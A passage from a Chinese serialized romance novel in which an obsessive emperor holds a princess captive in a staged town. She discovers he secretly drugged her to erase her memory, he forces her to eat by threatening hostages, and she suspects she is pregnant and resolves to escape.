“拿着。”一个白瓷小药瓶从沈遥那边飞来,宋衍伸手接住,“碍眼。” 他脸上带着兴奋:“阿姐!” “是毒药。”沈遥背对着他往拔步床走去,上了床直接放下帷帐,将人隔绝在帐子外。 宋衍握紧了那小瓶药,血液在激荡,在倒流。 “好,回去就用上。” …… 亥时末,葫芦镇大部分人家都处在深睡时刻,偶尔传来几声小黄狗的犬吠。 下过雨,路上有些泥泞,宁梓谦换了身黑衣,轻手轻脚摸进镇子,脚上的布鞋被泥水浸湿,弄得里面的袜子黏腻又沉重。 宋衍这狗贼着实可恶,那日载着沈遥的马车侧翻后,他见一切已成定局,便决定先行离开,寻另外的机会再接近沈遥。 可连日来,整个大周四处都是他的海捕文书,他躲了好些时日,才终于又绕道来了此地。 也不知那马车侧翻后,诺诺可还好。 正待宁梓谦来到时府后墙,准备翻越时,一群暗卫忽然不知从哪儿涌了出来,几个招式后,他便 被制伏,脸贴在泥地上啃了一嘴赃物。 宁梓谦大叫起来:“宋衍狗贼!夺我妻子!” 叫唤一会儿后,一双绣着金线的黑靴踏着积水,出现在他面前,抬眼看去,果然是狗贼。 下人举着两个灯笼,低头如死人般站在一旁。 宋衍居高临下,一只手拿着帕子,随意擦拭着另一只手的手心。 他带着强烈的压迫感,声音淡淡,“你的妻子?你们拜堂了?还是洞房了?朕有意放过你们宁家,是你自己一头撞上来的。” “宋衍!你若是动了宁家,就不怕遭天下人耻笑?”宁梓谦鼻孔张大,喘着粗气,呲牙咧嘴。 宋衍平静得如一滩死水,“你觉得朕在乎?” “那诺诺呢?” 宋衍眼皮微跳了一下。 “她必会恨你一辈子!” “那就恨好了。”宋衍扭头拍去肩膀上的几滴雨,“她只需要待在这里就够了。” 宁梓谦一瞬语塞,又提高了声音道:“宋衍!你有本事就让诺诺自己选择!” 见他久久沉默,宁梓谦咧嘴笑了,“你不说话,是因为你也知道,诺诺不喜欢你,不会留在你身边,如今知晓你这卑劣行径,更是不会!” 宋衍懒得再与宁梓谦争执,直接叫人拿了将其押走,看着侍卫用麻布堵住宁梓谦的嘴,边拖边拽地带离葫芦镇。 “加严葫芦镇守卫,下次再叫这种不三不四的人混进来,朕唯你们是问。” 众人身子一抖,脑海中闪过被罚去北疆做苦力的西北风。 宋衍转身又回到书房时,才将怀中的小瓷瓶拿出来,拔开塞子,也不检查一番,直接往手心伤口上倒。 面前铺满了还未处理完的奏章,可他却没有一点儿想要翻看的欲望,周身还残留着黑暗中雨水刺耳的声响,又隐隐萦绕着一股来自沈遥身上的清香。 面前点了五盏明亮的灯,他拿起灯罩,盯着刺眼的烛光,将其一盏盏熄灭,最后留下一盏,室内也比刚才暗淡下来。 想着今夜沈遥房里的状况,他伸手抬起那盏灯,将其微微倾斜,灯油缓缓滴在另一只胳膊上,只瞬间刺痛,很快便消散无踪。 没什么意思。 刚才寝室中,是沈遥抬着那盏灯。 想到此,他将灯又放回原处。 好想再来一次,让阿姐亲手将灯油滴到他身上,狠狠虐他身,那定然很爽。 …… 沈遥睡得并不安稳,翌日醒来后,坐到窗前,看着从房檐上成串落下的雨珠子,伸手接了几滴,冰冰凉凉打在手上。 “殿下还病着,莫要再着了凉。” “出了一夜汗,如今已是好些了。”沈遥视线从铜镜中看向锦书,小丫头拿着牛角梳上前为她挽发,她淡淡提了一嘴:“昨夜听到外面有动静,是怎么了?” 锦书梳头的手一顿,“什、什么动静?” 沈遥挑眉,“好像是有人在吼叫。” 距离太远,她听得不算清晰。 锦书视线飘忽不定,此前并未得到是否能给沈遥透露宁梓谦消息的命令,“奴婢也不知,许是……犬吠。” 沈遥沉默了好一会儿,一直盯到锦书为她挽好发髻,簪上那只梨花玉簪,都没再说一句话。 锦书回避着视线,将牛角梳放回妆奁后,忽想到什么,立刻说与沈遥,想要她高兴,“陛下昨夜下令,说是待殿下身子好后,可以出门去镇上逛逛,只要不离开葫芦镇便可。” “所以殿下定得好好养身体。” 沈遥没表示什么,就只问:“宋衍呢?” 锦书早已习惯沈遥直呼皇帝大名,淡定道:“陛下很早便起来了,还在书房处理着政务,倒是说过过一会儿来寝室陪殿下用膳服药。” 沈遥眉头皱了一下,“你直接去把吃的和药拿来。” 想着那人所谓陪,就是他一口,再给她来一口,腻歪得很。可她没那个心思,那便在他忙完前先把药给吃了,不给他机会。 沈遥胃口还是不大,喝了小半碗粥便已是吃不下。至于风寒的药,也是憋着气一口闷下。 她看了眼窗外的天气,原本阴沉沉的天竟透入几丝光线。 “我要出去逛逛。” 说罢,她便自顾自起身,随手抄起一件披风。 锦书一怔,连忙道:“可是殿下身子还未好。” 沈遥走到门口才转头看她,“不是宋衍说的,我可以出宅子去逛么?他这是说话不算数?” 锦书怎敢这般诋毁皇帝,旋即低下头嘟囔一声:“自是算的。” 她见无可阻止,沈遥非要出去,便上前主动为其将披风系好,又从旁拿过手炉放至沈遥手中,备好油纸伞,万一路上再下起雨。 南风回禀沈遥出街时,宋衍手中的笔只是一顿,一扫屋外天气,没有说话,默认允了。 出去走走也好。 葫芦镇逛过很多次,哪怕到了如今,沈遥已经知晓这就是个戏园子,却也从中看到了人间烟火气。 稚子们手持着糖葫芦,追逐嬉戏,口中高念的《桃花源记》倒是颇为应景,也不知这些稚子可知自己身处何地。 沈遥一边走着,一边留意着镇子各处,许多地方都藏了暗卫,有的是混迹人群之中,眼神透露着凌厉,有的躲在暗处,只偶然见到一块隐去的衣角。若非仔细留意,根本不会有人注意。 看来靠她自己一人,必是逃不出去的。 炊饼铺子传来几声猫叫,她扭头看去,见像是小橘父亲的那只猫儿还在,被如今的铺子老板养着,看起来生活过得有滋有味,吃得胖乎乎的。 她停下步伐,随意捡了一根枝条,与那胖猫玩儿了好一会儿。 过了晌午,沈遥多扫了几眼成衣店后,又去伶人馆,在锦书一脸惊慌中,点了好些个伶人给自己唱曲儿。 伶人们自也是慌张,唯独其中一个瘦瘦小小的少年,主动与沈遥多了多攀谈了两句。 沈遥病未痊愈,便只喝几口热茶,“这么说,你搬来镇子前,也是做伶人的?” 少年道:“是,小的蒲州人士,来这里除了往日伶人馆的工钱,上面还会定期发放一笔数额不小的银子。不过这镇子也非谁都可来,都是上头调查过身家,还有人下来当面审过,不许有任何犯罪史,哪怕是小偷小摸都不可。” 沈遥还想再多问几句,锦书急忙上前打断,“殿下,天色不早了,也该回去服药。若陛下知晓您在伶人馆待那么久,怕是会生气。” 沈遥因沉酥的原因,本就易乏,今日也差不多了解整个镇子的真实情况。 至于宋衍那小畜生,自昨夜见他那副模样后,她竟起了恻隐之心,开始犹豫起来…… 回到府邸,锦书忙着给沈遥安置,吩咐了下面的人去煎药。 煎药等得时间久,沈遥趁着锦书准备梅子的间隙,又出了房门四处走动。 她转了一圈,远远看着已经早谢完的梨花树,最后还是没有走进梨花院。 在回寝室的途中,沈遥拐角处看到一个鬼鬼祟祟的身影,有些熟悉,仔细回想,那不是曾经受过罚的蔓儿么。 蔓儿弓腰,手中揣着一包东西往后门走。 很不巧,蔓儿的身影同样引起着端着梅子的锦书。 她见状上前将人堵住:“你在做甚?” “锦书姐姐。”蔓儿停住脚步一怔,柔柔弱弱不解道:“奴婢准备去将殿下药渣处理干净。” 锦书同样想起这小丫鬟曾经受杖刑之事,道:“这次的药渣无需处理,不是之前那不能让殿下知晓的药,往日药渣扔哪儿,你正常扔就好。” “这般鬼祟行事,要是被陛下见到,反倒是要罚你了。” 蔓儿这厢懂了,直起腰不再闪躲府中之人。 然而站在角落的沈遥却捏紧了双拳,指甲陷入手心。 曾经她怀疑的药渣,果然是有问题的。 可究竟是何药,能让宋衍这般警惕重视? 锦书端着梅子回到寝室时,沈遥正坐榻上,屏气沉思。 见人进来,先叫她将门关好。 锦书不明所以 照做,而后上前将梅子放在一旁小几之上,笑道:“殿下尝尝这梅子,是陛下特意叫人从长安运来的,今儿正是新鲜着的时候。” 沈遥捻起一颗梅子,放在指尖把玩,片刻后,冷淡的视线落在锦书身上。 她直接开口问:“之前宋衍给我吃的药,是什么?” 锦书登时瞪大了眼,整个人直接“咚”一声跪在地上叩首,那声音好不响亮,想想都膝盖疼。 “殿下恕罪!奴婢不知,真的不知啊!” 沈遥仔细回想着当初没记忆那段时日,忽然想起,自药方开始被调整后,她总是时不时头疼,甚至有一次直接在宋衍面前昏了过去。 当时醒来后,见宋衍满是歉意,拿着柴刀要砍手被她阻止。那时她第一次意识到,他这个人脑子有问题。 沈遥才不管锦书在隐瞒着什么,直接与她说:“之前有一次,我头疼发作昏迷,是因为这药。” 锦书急得快哭出来,一个劲儿地摇头,嘴里不断念叨:“奴婢不知,真的不知。” 沈遥冷笑:“好家伙,宋衍是拿这药来害我啊。” 锦书:“并非如此啊!殿下!” 沈遥:“若非要害我,又何必遮掩。” 锦书慌忙直起身子,为皇帝解释:“陛下心里满是殿下,怎会故意用药物诓害?” 沈遥:“你是他的人,自是为他说话。” 锦书此时恨不得自己长了三四张嘴,她竟找不到话来反驳,最后只能硬着头皮,口吐连珠:“殿下莫要误会陛下,那药只是为了让殿下想不起来过去而已,陛下已经叫郎中极力去除毒性了,从来没想着让殿下有任何安危……” 沈遥手中的梅子直接被捏爆了,汁水漫了一手,红红的像血。 “这个小畜生,果然如此。” 锦书瞬间闭了嘴,此时才终于意识到,沈遥刚才在诈她。 “殿下,陛下知道奴婢说了此事,奴婢会死的。” 沈遥看着锦书眼睛红的不行,快要哭出来的模样,淡淡道:“你起来,我不会与宋衍说此事,你不告诉他,便自是无需担忧。” 锦书满脑子疑惑,身子僵硬地起身,手揉着膝盖。 沈遥:“你下去,我想一个人待着。” “药……快煎好了。” “煎好后给我端来就是。” 锦书无法,只得颤颤巍巍离开,为沈遥闭门。 晌午那丝阳光又被乌云收了回去,整个屋子显得有些昏暗。 沈遥将那颗捏爆的梅子放入嘴中,一点点咽下。 好酸,如今她一点儿也不喜欢。 着实没想到,宋衍当初为了不让她回忆起过往,竟不顾药物毒性,让她连着服了好些日子。 难怪那段时日她记性一日比一日差,还时常头疼。 她一直以为,宋衍再不是人,最起码不会想着伤害她。 没想到,此人的偏执已经到了走火入魔的地步,他根本配不上任何爱。 原本她虽然想跑,却还是存了些恻隐与犹豫,而此刻她将这所有的情绪收回,咽下腹中。 沈遥下定了万分决心,她绝不会留在葫芦镇,留在这个疯子身边。 哪怕是死。 …… 宋衍不知是不是自己的错觉,沈遥对她的态度好似又冷了几分。 可她这些时日本就很冷,如此细微的变化,着实难讲。 他照例带着药与吃食来到寝室陪她。 这几日的精心照顾下,她脸色红润不少,整个人看起来也精神不少,只是还是很瘦。 视线往下扫视过去,她锁骨比之曾经更加明显,漂亮又可怜的,像两道新月横在脖颈下方。 小橘见人来,几步蹦跶到宋衍脚下转悠着,喵喵叫了几声。 宋衍暗自叹了口气。 他亲手端着托盘,先将猫食放至角落,叫了小橘去吃。 而后落座到沈遥身侧,一手搅拌着黑乎乎的药,问她:“在看什么?” 沈遥先是没什么情绪地瞥他一眼,才回答:“游记。” 她将视线重新落回,若要去甘州,长安出发最快的是走水路先到秦州,可最稳妥的还是陆路,那就得直接北上绕道。 宋衍整个人斜过来,漆黑的眸子像蜂蜜似的黏在她脸上,“先喝药,凉了就不好了。” “嗯。”沈遥懒洋洋地放下手中的书,看他抬起药碗往她这边递,她没什么耐心,也不再管是药三分毒,“你不陪着喝了?” 宋衍自是知晓她什么意思,之前都是他先喝一半,再给她喝。 “锦书说你这几日自己喝得不错,朕以为……” “不想喝,苦。”沈遥干巴巴打断,扭头盯着不远处一雕花的桌角。 “行。”宋衍宠溺一笑,撸了下垂着的袖子,毫不犹豫饮下半碗后,才将剩下的递给她。 沈遥抿了下唇,没再多说什么,就着那只碗将剩下的药吃完,紧着几颗蜜饯去掉苦涩。 接下来她也不再矜持,虽胃口不大,却也是吃了不少菜。 下箸后,宋衍才又再度开口:“昨日出街后,心情可好些了?” “一个假的桃花源,你觉得我真的会喜欢?”沈遥垂眸盯着自己脚尖,咬牙控制着不去扇他几个巴掌。 宋衍不甚在意笑笑,“儿时与宋禾读书,一同学到《桃花源记》时,朕和宋禾第一次,也是唯一一次,想到了一处。那便是在这个充满了沽名钓誉,虚伪,战乱的世道中,建造一个宏伟的城。” “这个城中,便如那文中所述,所有的人,皆是‘黄发垂髫,并怡然自乐’。” “而自从与阿姐逃出沈家后,这个宏冤似乎终于有了形态。” 沈遥盯着吃完猫食,开始扑腾,玩儿着地上小球的猫儿,与他道:“可你也知晓,文中说过,没有人再找到过那处桃花源。” “以往的游历,或许只是一场梦也说不准。在梦中,我们什么都相信,可醒来后,才发觉不过是一场虚妄。” “宋衍,你对这场虚妄,已经走火入魔了。” 宋衍转过头,手轻轻碰着她的脸颊,她的眼里映照着橙光,只是最近好似变得黯淡了些。 “阿姐,这不是虚妄。”他拉起她的手放在自己胸膛上,呼吸让他胸膛一起一伏,又按着她手捏了捏他胸肌,“你摸摸朕,摸摸这一砖一瓦,没什么是假的。” 他就着打开五指,顺着滑入后,十指相扣,放到唇边轻吻了一下。 她没有抗拒。 本就是暮色四合,随着时间流逝,天色逐渐开始暗淡,屋里没点灯,宋衍心跳加剧,节奏不同寻常。 他愈发靠近她,压着嗓子说:“阿姐,你亲亲我,没什么是假的,亲我就知道了。” 屋外一阵风吹过,几片秋叶从打开的窗棂飘了进来。 她既没拒绝,他便更是不顾一切吻了上去,轻咬着她的唇,舌尖抵着牙关,激烈又缠绵,却始终没得到回应。 片刻后,宋衍拉开些距离,抿着唇一言难尽,“阿姐,你怎么吃蒜了?吃了好多。” 沈遥:“我故意的,尝够了么?” 第46章 第46章月事,还没来 宋衍更加确认了沈遥对自己态度的转变,每日想方设法哄人开心。 地方进贡的料子,吃食,第一时间都直接派人从宫里往葫芦镇去送,还有各种胭脂水粉,珠宝玉器,却没得到沈遥半分回心转意。 中元节即将到来,沈遥身体也痊愈得差不多。她想了想,还是决定去镇子上买些祭品,待中元祭祖。无论如何,生活得继续过着,不能因一小畜生就自暴自弃了。 锦书跟随在沈遥身后,在镇上搜刮了一堆瓜果,糕点,同时也买了纸钱,纸扎这些东西。 路过桥边小酒馆时,杨柳树的赵大爷眼尖,见到沈遥后笑着招招手,又喊了她一声“时夫人”。 沈遥不知赵大爷是否已如其他镇民那般知晓了自己身份,想了想,还是上前落座到他对面。 赵大爷叫馆中跑堂的拿来一新的干净酒杯,倒入 一小杯清酒给她推去,“这店家存了不少年的,今儿刚拿出来,好着咧。” 沈遥也不客气,直接接过后浅尝一口,而后便盯着一旁的垂杨柳。 赵大爷笑道:“这许久时日都没见着时夫人了。” 沈遥收回视线,抬起酒杯放在唇边摩挲着,“府中事情多了些。” “忙着祭祖吧。”赵大爷喝得两颊红红的,“家里老婆子也是,叫老夫出来买祭祖的东西,这不,趁着机会来酒馆偷会儿懒。” “倒是安逸。” “可不。”赵大爷喝多了酒,话多起来,“没搬来葫芦镇前,那段时日,四处战乱,生活也是难得很。” “也不知老婆子怎找的这处地方,住起来倒是不错。” “新帝登基也有段时日了,老夫倒也看出来,这大周太平日子是来了。” 沈遥勉强笑笑,“大爷身体怕是不易多饮酒。” 她可还记得上次大爷就是癫症发作,好不危险。 赵大爷扭过头,举了下杯,道:“家里平日管得严,好不容易寻找机会,无碍,无碍。” “对了,听闻上次是时夫人和一小伙子救了老夫,老夫醒来后你们人都不在了,想感谢都不知道怎么谢。老婆子本想拿筐刚下的鸡蛋送去贵府,也没人收下。” 沈遥并不知道赵家送鸡蛋之事,想来是宋衍手下的人挡了去,不想她跟外人有过多交集。 赵大爷:“对了,之前救老夫那小伙呢?” 沈遥顿了一下,解释:“他不是镇上的人。” “这样,那还真不好感谢人家了。”赵大爷甚是惋惜,“不知他与时夫人是何关系?可能帮老夫给带点儿谢礼?” 沈遥:“……是,朋友。” “谢礼便不必了,他住得远,不是那么方便。若是需要带话,我倒是可以的。” 赵大爷笑起来,“那太好了,不如老夫回去写一封信聊表谢意。” 沈遥:“好,若再见着他,定然转交……” “沈遥。”一温柔又强势的声音在不远处打断她的话,“过来。” 她转过头去,见杨柳树旁站着宋衍,眼神淡淡在赵大爷身上扫视,又朝着她招手。 一旁的锦书也是此时才见着宋衍,登时吓得低下头,站到一旁,生怕宋衍生气迁怒到她身上。 赵大爷:“是时家大爷来寻时夫人了罢。” 沈遥长叹一口气,含笑点头起身,刚提起裙摆,宋衍的手已经过来,拢住她的肩往外走,离开时顺便又看了一眼坐在原处的赵大爷,眸底闪过一丝冷意。 他步伐很快,沈遥小跑着,半拖半拉一直快走到时府门前,她才终于反应过来用力挥手。可身体因沉酥,力气太小,拉扯半晌也没将人挥开。 沈遥气急:“你有病吧?” 宋衍终于停下脚步,抓在她肩头的手不受控制得用力,甚至手下的嫩肉变了形。 她疼得“嘶”一声,宋衍才倏然反应过来,手被针扎了似得猛然放开,心头却还是堵着闷气。 “你跟外男聊得倒是挺开。” 沈遥看着他黑了的脸,反应过来,这人吃醋了。 吃一个八十岁老朽的醋。 她讽道:“你是我谁?凭什么管我?” 宋衍:“自然是你夫……” “你可千万别说是我夫君。”沈遥淡漠地打断,“你是走了三媒六礼,还是拜了堂?有婚书吗?” 宋衍沉默不稍片刻,道:“朕可以这就叫礼部去备,册封你为皇后。” “我不会当你的皇后。”沈遥面上没有任何情绪,说完后也不想再与他掰扯,直接提着裙转身进了时府。 锦书一直低着头没抬起来过,听不到宋衍下令,便战战兢兢提裙跟上沈遥身影。 宋衍后来想了想,虽是一个身子入了半截土的人,可他还是不爽。 这股烦闷一直袭击着他的脑海,沈遥竟对他人露出这样的笑,而对着自己却满是厌恶。 连白胡子老头都排在他前面,着实可笑。 他蹙眉,转身便让人安排赵家卷铺盖走人。 然而,当他翌日到宫中处理政务时,南风火急火燎大步走入太极殿,脸上带着一脸说不出的怪异。 宋衍放下手中毛笔,摸了摸已经结痂的手心,问:“葫芦镇那边?” 南风想到今日看到那一幕,擦了一把额头冷汗,硬着头皮道:“陛下,是长公主那边……” …… 宋衍也不知抽了什么风,沈遥失忆前也常做这样的事儿,他从来只是在远处窥视,嫉妒,任由阴暗滋长,却不管她。可如今,许是两人曾以夫妻相伴,他是一点儿也看不下去她这派作风。 当催马车赶回时府时,隔老远便听到了府中传来的丝竹奏乐声,还有银铃般的一串欢声笑语,皆是男声。 宋衍沉着脸,如一块冰,径直走入府中,朝着声音方向去,入后堂后,便看到沈遥坐在案几前,引着葡萄酿,身后一个长相俊俏的小白脸少年在给她按头。 而堂中皆是裸/露了上半身的伶人,一边跳着舞,一边唱着曲儿。 都说永乐长公主颇爱男色,面前可不就是好一活色生香的场面,不过好在沈遥衣着整齐,只是脸颊微红,闭眼享受着少年的伺候。 听到众伶人没了声音,沈遥这才撩眼看去,见宋衍脸死水一滩站在中央,伶人们跪在地上鸦雀无声。 他冷眼扫来,还在给沈遥按头的少年这才随着跪地叩首。 宋衍一步步走上前,在沈遥面前站了许久,她视线落在手中杯盏上,不愿看他。 宋衍道:“来人,将这群人送出葫芦镇,把镇上伶人馆关了。” 此话一出后,一众侍卫上前,押着不知所措,面面相觑的伶人离开屋子。 待彻底空荡下来后,他才问她:“故意气我?” 沈遥沉默。 确实,她就是看不得小畜生过得舒心。昨日发现他醋味大发后,便故意将伶人馆的人都叫来府中陪自己玩,若能气到他吐血,那才是最好。 宋衍:“你不怕我将这群人都杀了?” “你不会。”沈遥眨眼将杯盏放回案几上,万分笃信。 宋衍:“为何?” 沈遥又不说话了,只是重新抬起杯盏将葡萄酿一饮而尽。 虽然宋衍将她囚禁起来,威胁她,可她就是笃定,不到不得已时,他不会对无辜之人下手。 就像宁梓谦,曾在这葫芦镇七进七出。若他真是嗜杀之人,早该杀了宁家上百口人才是。可宁家曾散尽家财助他,他才如此一忍再忍。 待心绪平复后,她才淡淡说:“你整日让我闷在此地,又不许我寻欢作乐,我还能做什么呢?” “那是群男人。”宋衍咬牙,还是压着耐心,温柔告诉她,“朕不会反对你寻欢作乐,明日给你找舞姬,跳给你看。” 沈遥冷笑。 若不其然,当日下午,十多个舞姬便直接从外面被送入时府,专给沈遥唱曲儿跳舞。 她却又不想看了,将一个个美貌绝伦的舞姬在府中找了住处安排好,没再喊过人出来。 有权利的地方就有争斗,有女人的地方也自有争宠之行。 特别是大周年轻俊美的帝王就住在府中,还都在外院,虽然见过一面时都觉得天子冷若冰霜,可也有几个胆大的,愿为了荣华富贵一搏。 宋衍从时府门口,一路走到书房的路上,就遇到两个在他面前滑倒,香艳外露的,还有三个在院中嬉戏追逐,装模作样往他身上撞的,好在他避开及时。 一日内,书房便被人端进来三碗粥,四碗酥酪,五碗不知是何物的汤。 舞姬的住处被安排在离书房极近的地方,宋衍也是气笑了,算是反应过来,沈遥就是在和他对着干,想方设法故意气他。 过了两日,他听锦书说,沈遥也没叫过舞姬跳舞,便又一挥手,将一群女人全部送了出去。 后来,沈遥又不愿吃饭了。 头疼。 沈遥不是刻意 不吃饭,绝食抗议,她没有这么蠢,为了气小畜生而伤害自己身体,她是真没什么胃口。 看着面前厨娘特意按她喜好烤的鸡腿,她只觉得有些恶心。在锦书注视下浅浅吃了两口,便下箸再也咽不下去。 沈遥:“端下去吧,我实在没胃口。” “还在赌气?”宋衍倏然出现在寝室门口,语气很沉。 他今日穿了一身月白便服,不如往日那般一身黑,此刻倒是显得温润如玉。站在那地方八尺身高,都显得房梁矮了不少。 宋衍这副样子,任谁见了都只觉得是个温润如玉的君子,在外人面前活得像一把标尺,任何男人和他一比都是被碾压的程度,自然包括宁梓谦。 然而沈遥知道,他黑瞳下真实的模样,带了不少病态与疯魔,好像一只深渊的饿鬼,死命拽着你的脚。 宋衍走近,一扫食案上的东西,每一盘都没被动过几口。 “怎么?这些都是朕特意吩咐厨房按照你的喜好做的。”他落坐她身侧,偏头盯着她,“就算再跟朕赌气,也不能拿身体开玩笑。下人说你已经许久没有好好吃饭了。” “没胃口。” 宋衍长叹一声,手肘拄在膝盖上,舌尖抵着腮帮子,他朝她倾身靠近,低沉道:“别这样,阿姐,没用的。” 很明显,他更相信沈遥是为了气他。毕竟她已经使出了这么多幼稚的手段,好像也没更多了。 宋衍将案上汤匙拾起,递到她手中,“阿姐,朕亲自陪着你吃。” “我说了没胃……” “阿姐,前几日那群伶人……”宋衍话说一半。 沈遥一怔,缓缓扭头看着他,有些出乎意料,却又好像是意料之中。 宋衍见她没有动作,继续说着:“宁家,宁梓谦,都在朕手上。” “你说的对,我不会轻易杀了他们。可朕有的是手段,让他们尝尽百倍痛苦,却还能留下一命。” “阿姐,你可以用各种方式气朕,朕都受着。可是若你还在乎他们,就好好吃饭,别伤害自己,别叫朕担心。” 沈遥瞳孔倏然放大了一下,咬唇,死死盯着他半晌没动作。 宋衍见状直接喊来南风,“去天牢,将宁梓谦提审……” “宋衍!”沈遥厉声制止他,心脏牵扯着五脏六腑,跳得疼。 她太了解他的情绪,此刻他是动了真格。若是将人提审,就算活着,怕也是半条命没了。 他是皇帝,想要给任何人安什么罪名,都无人可指摘。 她立刻抬起肉羹,小口吃下半碗,见他还是不满,又继续忍着呕欲将剩下的服下。 宋衍终于如沐春风地一笑,揉了揉她发顶,“真乖。” …… 锦书近日倒是格外沉默寡言。 她慢吞吞为沈遥梳发,挽发,不知想着什么,心不在焉,直到将沈遥头发扯疼了,她才反应过来,立刻跪下谢罪:“奴婢该死,求殿下责罚。” 沈遥转过头低下去看,也是发现这小丫鬟最近的异常。 因被关在这葫芦镇中,又加之锦书与宋衍同流合污,每日是愈发不愿叫她伺候。 可是身边若没个熟悉的人伺候,各方面到底是不方便。 沈遥问:“你最近怎么了?整日心不在焉的。” 锦书犹豫好一会儿,才回:“回殿下,家弟前些时日娶亲,家里所有积蓄都用在聘礼和席面上了。结果两日前,家母忽然一病不起,如今……” 沈遥:“家里没钱给人治病了?” “也不是。”锦书摇摇头,咬着唇,眼眶发红,“奴婢一家都靠家父杀猪过日,爹那儿是有些闲钱的,可爹和阿弟却说……却说郎中不仅都是些大咧咧的外男,还都是些骗钱的,其实在家养养就好了。若娘非想找郎中治,叫她自己想办法。” “你娘的意思呢?” “娘和爹想到一处去了,可昨儿收着小妹的信,说娘竟是躺在床上,人迷迷糊糊,已经眼睛都睁不开,肿了一大圈。奴婢将积蓄给家中送去,哪儿知却被父亲给收起来了。” 沈遥蹙眉,“你不是宋衍的人,堂堂天子不能为你做主?” 锦书立刻将头摇成了拨浪鼓,“那可不成,陛下是天子,日理万机,怎能为奴婢这种小事费心。” 沈遥扭头看着窗外一两只麻雀噗啦噗啦飞过,捏了下手,从妆奁中取出两个上等的玉镯递给锦书。 “这应是够了吧。” 锦书瞪着眼睛受宠若惊,“殿下!奴婢怎能拿殿下的东西?” 沈遥不耐烦,“你这每日心思不在我这儿,时常出错,我耐心也是有限的。这些东西我多了去了,少一两个也没什么,这当是赏你的。” “我身不由己,但你却是能出镇子的吧。我放你几日假,拿这个亲自回趟家,将你母亲事处理完再回来。若你父亲再将东西私藏了,我就不管你了。” “殿下。”锦书颤抖着双手接过东西,“奴婢以为,殿下已经厌恶极了奴婢。” 沈遥没有看她,只是继续观着窗外的景色,淡淡道:“只是不想你总出错罢了,不然我也不舒心。” 锦书将玉镯小心翼翼地放到怀中,含着泪给沈遥磕了好些个响头。 正在此时,厨房做好的午膳也送了来,新鲜的鱼汤,烤焦的鸡肉,小青菜也有,都是些沈遥往日爱吃的。 她心中正是烦闷着,看到这些吃食也没什么胃口。 锦书认真将盘摆好,扶着沈遥上前落座,又递给她银箸。 “厨娘上次做的或许咸了些,今儿的特地少放了盐,殿下吃起来许是更合胃口了。” 沈遥慢悠悠接过银箸,随意夹了块烤鸡放入嘴中,没嚼几下,胃里竟开始翻江倒海,直接吐了出来。 锦书吓了一跳,立刻拿来帕子为她擦拭,却见她还在干呕个不停。人劲直起身,三步并作两步直接奔去净室,又是好一阵干呕,直到胃液都吐了干净,才堪堪停下。 锦书心底一咯噔,眼疾手快上前抚着沈遥的背为其顺气,待人终于平静下来,将她扶出净室,至榻上落座,又倒了白水递去。 沈遥喝了好几口后,锦书才弱弱问她:“殿下,这个月月事,来了么?” 沈遥手指一顿,将手中杯盏放回案上,自然听明白了锦书的意思。 她心跳得愈发厉害,惊慌恐惧同一时间袭来。 月事,还没来。 第47章 第47章那就跑吧。 随着天气渐冷,院中树叶差不多都落了个干净,偶尔来两三只麻雀,停在窗台边吃几粒米,又往外飞走。 沈遥在强烈要求锦书封口后,才放了人离开,去处理家中之事。 朝中事似乎也极为忙碌,宋衍却始终不愿离家,整日待书房,但一有空便来陪沈遥用晚膳,盯着她吃下足够多的食物。 见她依旧没有胃口,宋衍心底担忧得不行,看着她磨磨蹭蹭喝下一碗鸡汤后,道:“瘦了太多,朕叫郎中来看看。” “别!”沈遥急忙阻止他。 他们上一次房事发生在她生辰宴之时,吃醉了酒,一时没把持住,事后也没服用过避子汤。 如今她依旧不确定自己是否真的有孕,也不知若是真的,又该如何面对他。最起码,确实有这个可能。 只要有这个可能,便不能让郎中来,不能让宋衍知道。 宋衍不解,“讳疾忌医?” 沈遥心跳如雷,最后朝他递了个眼刀子,将手中汤碗“啪”一声重重拍在案上,没好气道:“说了不看,每天被你关在这破地方,烦都烦死了,哪儿来的胃口吃东西。” “看见你就烦,若你离我远些,我或许还能多吃几碗白饭。” 宋衍见她是真生了气,沉默下来,将手中碗筷放好,又挪到她身旁轻轻搂住她腰,“别生气,等天气好些,朕空出时间,专带你出城跑马如何?” 沈遥一直低着头,不让他看到自己眼睛,生怕看出她异样。沉吟许久,她终于轻轻点了点 头。 后来这些时日,她一直在等待着月事,却迟迟不来,心也一日比一日沉入谷底。 锦书从太原府回来,已是两周之后,整个人看起来神色轻松许多,想必是家中事解决得顺利。 沈遥抱着猫,脚边放了一只鎏金小暖炉,坐在门口发呆。 锦书在其身后为她按着肩,想到离开葫芦镇之前两人的猜测,问:“殿下这些时日胃口可好些?还干呕吗?” 沈遥咬唇,轻轻摇了摇头。 干呕是没了,只是胃口依旧不佳。 锦书迟疑着,“那殿下的……” 沈遥继续摇头,手一紧,无意捏疼了小橘的腿,猫儿惊叫了一声,挣扎着跑开,可没几步后又绕回来,在她脚边磨蹭着。 锦书:“殿下不找郎中来看看吗?” 沈遥:“怎么找?这时府有哪一处没有暗卫,可以叫郎中偷摸前来诊断。若直接叫了人,郎中与我所言,哪一句话不会落入他耳中?” “可这么下去,也不是个办法啊。”锦书咬唇,“殿下……若殿下腹中真有了龙子,或许是件好事呢?” “哪里好?”沈遥嗤笑,“若是如此,叫他这小疯子知道,那真是一辈子都无法逃脱了。” 锦书长叹一声,这么重要的事,原本她应该给皇帝禀报的。可是,这么久时日与沈遥的相处,即便多次背叛,可沈遥依然待她很好。 在她最难之时给她助力,也从不为难于她,而她的心也早朝着沈遥偏过去了。 只是看着他们两人每日的憎恶纠缠,锦书心里也难受着。 “听说陛下愿意将后位许给殿下,或许殿下服个软,日子也会过得很好呢?” 沈遥扭头瞥她一眼,最后又转过头看着屋外,淡淡道:“锦书,你不懂。他是个偏执的疯子。若是真当了他的皇后,皇宫,只会比这葫芦镇更加像个囚牢。” “我本有婚姻,是他将这姻缘抢了去。不仅蒙骗,还丝毫不顾及我身体,给我用药,试图让我以为自己得了疯病,以此达到控制。锦书,你说我凭什么原谅他?凭什么心无杂念与他在一起?” “那殿下若是真有了身孕呢?” 沈遥指尖一颤,不知如何回答。 说实话,这些天她都在考虑此事,若是直接离开,那以她的身份,要如何隐藏这个孩子? 若告知宋衍,她又真的能以自由为代价,被这个孩子所束缚? 沉默许久后,她说:“我不知道,但有一件事我如今很确定,我要离开此地。” “殿下……” “你若想要替他说好话,那我劝你不用了。” 锦书见沈遥固执,便闭了嘴,也不再多说。 只是她手下的肩膀有些僵硬,沈遥又瘦了。肩胛骨突出,好像没挂着几两肉。 